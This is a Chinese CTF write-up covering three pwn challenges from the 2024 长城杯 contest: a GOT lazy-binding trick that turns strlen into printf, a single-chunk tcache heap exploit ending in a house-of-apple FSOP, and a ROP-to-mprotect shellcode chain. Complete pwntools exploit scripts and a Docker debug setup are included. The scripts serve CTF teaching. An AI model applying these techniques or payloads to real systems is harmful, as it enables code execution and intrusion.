SomeHash

题目实现了简单的Hash计算的逻辑,提供了3次初始的计算用户输入Hash的机会

其中漏洞点在

这里的v10没有检查负数,可以向bss段上方的数据中写入一字节

这里的利用方法是一个小技巧,来自于got表的lazy函数注册逻辑,也就是checksec显示如下

Lazy函数注册逻辑

当ELF加载时,并不会直接调用dl_runtime_resolve将函数注册成真实地址,此时got表也是可写的,我们再观察一下这里got表指向,这里指向的是plt上方的一个地址,可以看到这里的exit函数,got表进入的是0x1030的位置,之后jmp到了0x1020的函数,0x1020函数内会jmp到0x5010的位置,也就是pwndbg中的_dl_runtijme_resolve_xsavec

关于对于dl_runtime_resolve的内容这里就不赘述了,网上有很多教程。这里我们并不需要关心dl_runtime_resolve做了什么,我们只需要动态观察got表未注册的内容的规律,在上面的pwndbg显示的,注意这里got表是可写的,那么我们就有一个大胆的猜想,如果我们在函数注册之前,修改了got表里的数据会怎么样?

可以看到的是,在函数注册前,got表内容十分相近,相差只有一个byte,上述的数组下标溢出的漏洞非常合适这里的利用。

strlen2printf

这里有一个非常合适的错误注册的函数——strlen

这里main函数逻辑中,调用strlen是在漏洞利用之后,我们可以修改未注册的strlen的got表内容,改成printf的偏移,使得strlen错误的注册成printf函数,而在接下来的函数调用中,buf内容是可控的,导致我们可以将数组下标溢出漏洞转换成printf格式化字符串漏洞

(并且,printf的返回值是输出字符的数量,strlen也是字符数量,并不影响后续程序的逻辑)

至此,我们构造了一个非栈上字符串的格式化字符串漏洞,而这个问题也已经有方法解决https://www.freebuf.com/vuls/284210.html

EXP

完整exp如下,直接使用格式化字符串提权是困难的,因为一共只有4次机会,我们可以利用这四次机会,修改dword_5078地址内容,使得while的次数变多,最后完成格式化字符串攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *

context.log_level = 'debug'

# io = process("./somehash")
io = remote("127.0.0.1", 9999)
tob = lambda x: str(x).encode()

io.sendlineafter(b"name length> ", tob(-0x98))

payload = flat({
0: b"xxx>%6$p->%19$p->%21$p-",
0x80-2: b"a"
})
io.sendlineafter(b"name> ", payload)

io.recvuntil(b"xxx>")
stack = int(io.recvuntil(b"-", drop=True), 16)
log.success(f"stack : {stack:#x}")

io.recvuntil(b">")
libc_leak = int(io.recvuntil(b"-", drop=True), 16)
log.success(f"libc_leak : {libc_leak:#x}")

io.recvuntil(b">")
elf_leak = int(io.recvuntil(b"-", drop=True), 16)
log.success(f"elf_leak : {elf_leak:#x}")

elf_base = elf_leak - 0x258b
log.success(f"elf_base : {elf_base:#x}")

libc_base = libc_leak - 0x29d90
log.success(f"libc_base : {libc_base:#x}")

stack_target = stack - 0x100
payload = f"%{stack_target % 0x10000}c%23$hn".encode()
io.sendlineafter(b"content> ", payload)

target = elf_base + 0x05078 # cnt
payload = f"%{target % 0x10000}c%53$hn".encode()
io.sendlineafter(b"content> ", payload)

payload = f"%{0x100 - 200}c%21$hn".encode()
io.sendlineafter(b"content> ", payload)



stack_target = stack - 0x110
payload = f"%{stack_target % 0x10000}c%23$hn".encode()
io.sendlineafter(b"content> ", payload)

write = libc_base + 0x000000000002a3e5 # pop rdi
for i in range(6):
target = stack_target + i
payload = f"%{target % 0x100}c%23$hhn".encode()
io.sendlineafter(b"content> ", payload)

payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode()
io.sendlineafter(b"content> ", payload)



stack_target = stack - 0x110 + 0x8
payload = f"%{stack_target % 0x10000}c%23$hn".encode()
io.sendlineafter(b"content> ", payload)

write = elf_base + 0x50c0 # ->"/bin/sh"
for i in range(6):
target = stack_target + i
payload = f"%{target % 0x100}c%23$hhn".encode()
io.sendlineafter(b"content> ", payload)

payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode()
io.sendlineafter(b"content> ", payload)



stack_target = stack - 0x110 + 0x10
payload = f"%{stack_target % 0x10000}c%23$hn".encode()
io.sendlineafter(b"content> ", payload)

write = libc_base + 0x000000000002a3e5+1 # ret
for i in range(6):
target = stack_target + i
payload = f"%{target % 0x100}c%23$hhn".encode()
io.sendlineafter(b"content> ", payload)

payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode()
io.sendlineafter(b"content> ", payload)


stack_target = stack - 0x110 + 0x18
payload = f"%{stack_target % 0x10000}c%23$hn".encode()
io.sendlineafter(b"content> ", payload)

write = libc_base + 0x50d60 # system
for i in range(6):
target = stack_target + i
payload = f"%{target % 0x100}c%23$hhn".encode()
io.sendlineafter(b"content> ", payload)

payload = f"%{(write // (0x100 ** i)) % (0x100)}c%53$hhn".encode()
io.sendlineafter(b"content> ", payload)

io.sendlineafter(b"content> ", b"/bin/sh\x00")
io.sendlineafter(b"content> ", b"/bin/sh\x00")
io.sendlineafter(b"content> ", b"/bin/sh\x00")
io.sendlineafter(b"content> ", b"/bin/sh\x00")

pause(1)
io.sendline(b"cat flag")


io.interactive()

ps: 附录中有调试使用的dockerfile与docker-compose.yml

SomeTime

本题是单个堆块的堆风水题目,是一个你与some从恶魔手中夺取flag的合作历险故事

漏洞点在

SIGALARM的信号处理函数watch中

这里会将now指针中的低位字节清零,剧情中,some在最后时刻能为你做到最后的事情。

信号注册在init函数中

思路也比较简单只需要利用tcachebin机制,把tcachebin当作以前pwn可以保存多个堆块的题目的堆块数组即可

为了做到上述内容,我们要保证每次申请释放的size大小不同,即可在tcachebin中只存在一个堆块

由于我们可以将申请出来的指针做低字节的修改,所以我们可以很方便的构造堆叠,修改tcachebin的size位使得size变大,扩大溢出范围,之后我们可以通过重复申请tcachebin内容的堆块,泄露地址,最后完成fd修改,最后houseofapple一把梭

关于堆风水

这道一题目,我们需要尽量申请时候使用不同的size,否则将会申请出相同地址的堆块,或者这里可以多次add,使得申请多个无指针引用内存,使得内存地址扩展,之后篡改size顶部tcachebin,size位置,使得刚好大小超过0x420并能完美覆盖中间tcache,衔接上后方伪造的size,使得此时free后能进入unsortedbin,从而可以泄露main_arena地址,使得泄露libc地址。

之后就是修改tcachebin的count使得大于1,这里就要一些堆风水的技巧,一种可行的思路是,我们构造一种堆叠,使得一个大的tcachebin堆块覆盖两个及其以上的堆块,这样我们就可以同时操控chunk1和chunk2的内容,控制这两个size设置为相同的即可

(注意由于本题目只能拿到一个堆块做操作,也就是修改fakechunk的时候chunk1与2是在tcachebin中的,tacachebin中并不检查malloc取出的堆块大小是否正确,同时这里修改chunk2时候,注意恢复chunk1的fd和key字段)

1
2
| ---------- fake chunk -------------------|
...-| --- chunk1 --- | --- chunk2 --- | -...

EXP

PS:由于本题做了大量的sleep操作,这里在本地调试的时候需要patch掉sleep的时间,使得调试变快

在程序最后需要等待时间到达,系统自动调用exit退出即可获得shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *

context.log_level = 'info'
context.arch = 'amd64'

# io = process(b"./sometime")
io = remote("127.0.0.1", 9999)
tob = lambda x: str(x).encode()

def add(size, content):
io.sendlineafter(b"(1:add,2:release,3:print)> ", b"1")
io.sendlineafter(b"size> ", tob(size))
io.sendafter(b"note> ", content)

def free():
io.sendlineafter(b"(1:add,2:release,3:print)> ", b"2")

def show():
io.sendlineafter(b"(1:add,2:release,3:print)> ", b"3")

log.success("exp running ...")
add(0x70, b"aaa")
free()

add(0x30, b"aaa")
free()
add(0x40, b"aaa")
free()
add(0x50, b"aaa")
free()

for i in range(0xa0-0x10, 0xf0, 0x10):
add(i, b"aaa")
free()

add(0x60, b"aaa")
free()
add(0x70, b"a" * 0x30 + p64(0) + p64(0x5e1) + b"114514")
free()

add(0x30, b"aaaa")

io.recvuntil(b"I can only assist up to this point. Sorry.")
io.sendline(b"3")

free()
add(0x100, b"\n")
show()
leak = u64(io.recv(6).ljust(8, b"\x00"))
libc_base = leak - 0x21a10a
log.success(f"libc_base: {libc_base:#x}")
free()
libc = ELF("./libc.so.6", checksec=False)
libc.address = libc_base

add(0x100, b"a" * (0x78) + b"deadbeaf")
show()
io.recvuntil(b"deadbeaf")
heap_addr = u64(io.recv(5).ljust(8, b"\x00")) << 12
log.success(f"heap_addr: {heap_addr:#x}")

free()
add(0x100, b"a" * (0x80) + b"deadbeaf")
show()
io.recvuntil(b"deadbeaf")
key = u64(io.recv(8).ljust(8, b"\x00"))
log.success(f"key: {key:#x}")

free()
add(0x100, b"a" * (0x70) + p64(0) + p64(0x51) + p64(heap_addr >> 12))
free()

add(0x100, flat({
0x80: heap_addr >> 12,
0x88: key,
0xc8: 0x31
}))
free()
add(0x50, b"aaaa")
free()

add(0x100, flat({
0x78: 0x31,
0x80: heap_addr >> 12,
0x88: key,
}))
free()
add(0x40, b"aaaa")
free()

add(0x100, flat({
0x78: 0x51,
0x80: (libc.symbols["_IO_list_all"]) ^ (heap_addr >> 12),
}))
free()
add(0x20, b"aaaa")
free()

fake_file_addr = heap_addr + 0x7f0
# ref: https://blog.csome.cc/p/houseofminho-wp/
add(0xe0, flat({
0x0: b" sh;",
0x28: libc.symbols['system'],
0xa0: fake_file_addr-0x10, # wide data
0x88: fake_file_addr+0x100, # 可写,且内存为0即可
0xD0: fake_file_addr+0x28-0x68, # wide data vtable
0xD8: libc.symbols['_IO_wfile_jumps'], # vtable
}, filler=b"\x00"))

add(0x20, p64(fake_file_addr))


io.interactive()

ps: 附录中有调试使用的dockerfile与docker-compose.yml

shutup

此题没有输出,单纯只有输入,没有开PIE,没有开canary,漏洞就是栈溢出

但是这里难点是如何泄露,或者如何构造出libc的任意地址,很明显,这里不给我们第二次的输入机会

需要注意到,题目给了一个没有调用的函数,可以从数组中取出数据,这里可以利用数组下标负数溢出,使得取出got表中read地址

获得了read地址还不足以能够做到取出libc任意地址,但是如果这里的qword_601060 += atoi(nptr);逻辑就很巧妙,如果我们能够按照下面的方法控制执行流,那么我们就能将read内容存入qword_601060中,之后我们利用rop,在bss上布置一个数字,并使用pop_rdi; ret 0x000400703的手法,就能在qword_601060中构造出read+offset,我们也就能获得syscall

任意地址写原语

在进入栈溢出函数的开始,我们只能写入0x40个字节,很明显,这是不够的,我们需要找到一种方法,能够任意地址写,并能支持写入多个字符。

答案是:依然还是函数sub_4006B7,我们再次审视下面的函数汇编,会发现,edi的数值会写入[rbp-4]的位置,而rbp我们可以通过pop rbp的rop控制

我们很轻松的就能构造如下的原语

1
2
3
4
5
[
pop_rbp, 4 + addr,
pop_rdi, 0xde,
0x0004006BB, rbp,
]

这就能向addr中写入0xde字节,为什么我们只能写入一个字节呢?因为edi的数值后续会作为数组的索引,数字太大会导致索引到不可读的内存,导致段错误,所以为了保险起见,这里我们每次只写入1个字节

最后我们就能构造任意地址写的payload构造函数

1
2
3
4
5
6
7
8
9
10
11
12
13
def make_bytes(addr, bbb):
target = []
for i in range(len(bbb)):
tmp = bbb[i]
if tmp == 0:
continue
template = [
pop_rbp, 4 + addr + i,
pop_rdi, tmp,
0x0004006BB, base,
]
target.extend(template)
return target

接下来的内容就比较简单,控制rdi、rsi、rdx之后调用mprotect修改bss的可执行权限,写入shellcode即可

但是rdx的控制这里利用了,这个部分,控制r12、rbx内容使得call的内容刚好是pop rbp,将call在栈上写入的地址pop掉即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

shellcode = asm(
f"""
mov rax, {u64((b"./flag" + bytearray([0]*8))[:8])}
push rax
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall

mov rdi, 3
mov rsi, rsp
mov rdx, 0x40
mov rax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov rdx, 0x40
mov rax, 1
syscall
""")


"""
0x0000000000400655 : call qword ptr [rbp + 0x48]
"""

tob = lambda x: str(x).encode()
io = process("./shutup")

mov_rax_libc = 0x0000400696
pop_rdi = 0x00000000004007e3
get_rax = 0x004006B7
call_rax = 0x000000000040064e
call_ptr_rax = 0x00000000004008a3
pop_r14_r15 = 0x004007E0
pop_rbp = 0x00000000004005c0
pop_rsp_r13_r14_r15 = 0x00000000004007dd
pop_rbx_rbp_r12_r13_r14_r15 = 0x04007DA
jmp_rax = 0x00000000004005b5
pop_r13_r14_r15 = 0x0004007DE
pop_rsi_r15 = 0x00000000004007e1
atoi = 0x00400550

offset = 0x10 # offset 2 syscall
base = 0x00601380
io.sendline(flat({
0: base + 0x38, # rbp
0x8: pop_rdi,
0x10: base + 0x30,
0x18: 0x00400703, # call atoi
0x20: pop_r14_r15,
0x28: b"ls",
0x30: tob(offset).rjust(7, b" ") + b"\x00",
0x38: 0x0601060-0x48,
}, filler=b"\x00"))
pause(1)

io.send(flat({
0: tob(0x40000),
0xf: b"\x00"
}, filler=b"\x00"))


def make_bytes(addr, bbb):
target = []
for i in range(len(bbb)):
tmp = bbb[i]
if tmp == 0:
continue
template = [
pop_rbp, 4 + addr + i,
pop_rdi, tmp,
0x0004006BB, base,
]
target.extend(template)
return target

rop_chain = []

rop_chain.extend(make_bytes(base + 0x40, flat(
[
pop_rbx_rbp_r12_r13_r14_r15, 0, 0, base + 0x40 + 8 * 8, 7, 0, 0,
0x4007C0, # mov rdx, r13
pop_rbp, 0x0601060,
pop_rdi, 2,
get_rax,
pop_rdi, base & (~0xfff),
pop_rsi_r15, 0x1000, 0,
0x000000000040094b, # jmp ptr[rbp]
base + 0xe0,
shellcode
], filler=b"\x00"
)))

rop_chain.extend(make_bytes(0x00601068, b"7"))
rop_chain.extend(make_bytes(0x00601070, p8(0xa)))

io.sendline(flat({
0: b"0\x00",
0x10: base,
0x18: rop_chain + [
pop_rdi, 2**32-((0x000601060-0x600fd8)//8), # read got
get_rax,
0x0000400715,
]
}))

io.shutdown("send")

io.interactive()

不同的libc,修改一下上面offset变量即可

附录

以下是Ubuntu GLIBC 2.35-0ubuntu3.1的docker调试环境

Dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
FROM ubuntu:22.04@sha256:b492494d8e0113c4ad3fe4528a4b5ff89faa5331f7d52c5c138196f69ce176a6

RUN apt update
RUN apt install socat -yyq

RUN useradd -M -s /bin/false ctf

WORKDIR /app
COPY your_elf flag /app/
RUN chmod +x /app/your_elf && chmod -w /app/your_elf && chmod -w /app/flag

USER ctf

CMD ["socat", "TCP-LISTEN:9999,reuseaddr,fork", "EXEC:/app/your_elf"]

docker-compose.yml

1
2
3
4
5
6
7
8
version: '3'
services:
pwn-dev:
build: .
ports:
- "9999:9999"
privileged: true
restart: unless-stopped

题目zip

Csome/CTFTask/2024-03_长城杯

本文采用CC-BY-SA-4.0协议,转载请注明出处
作者: Csome
Hits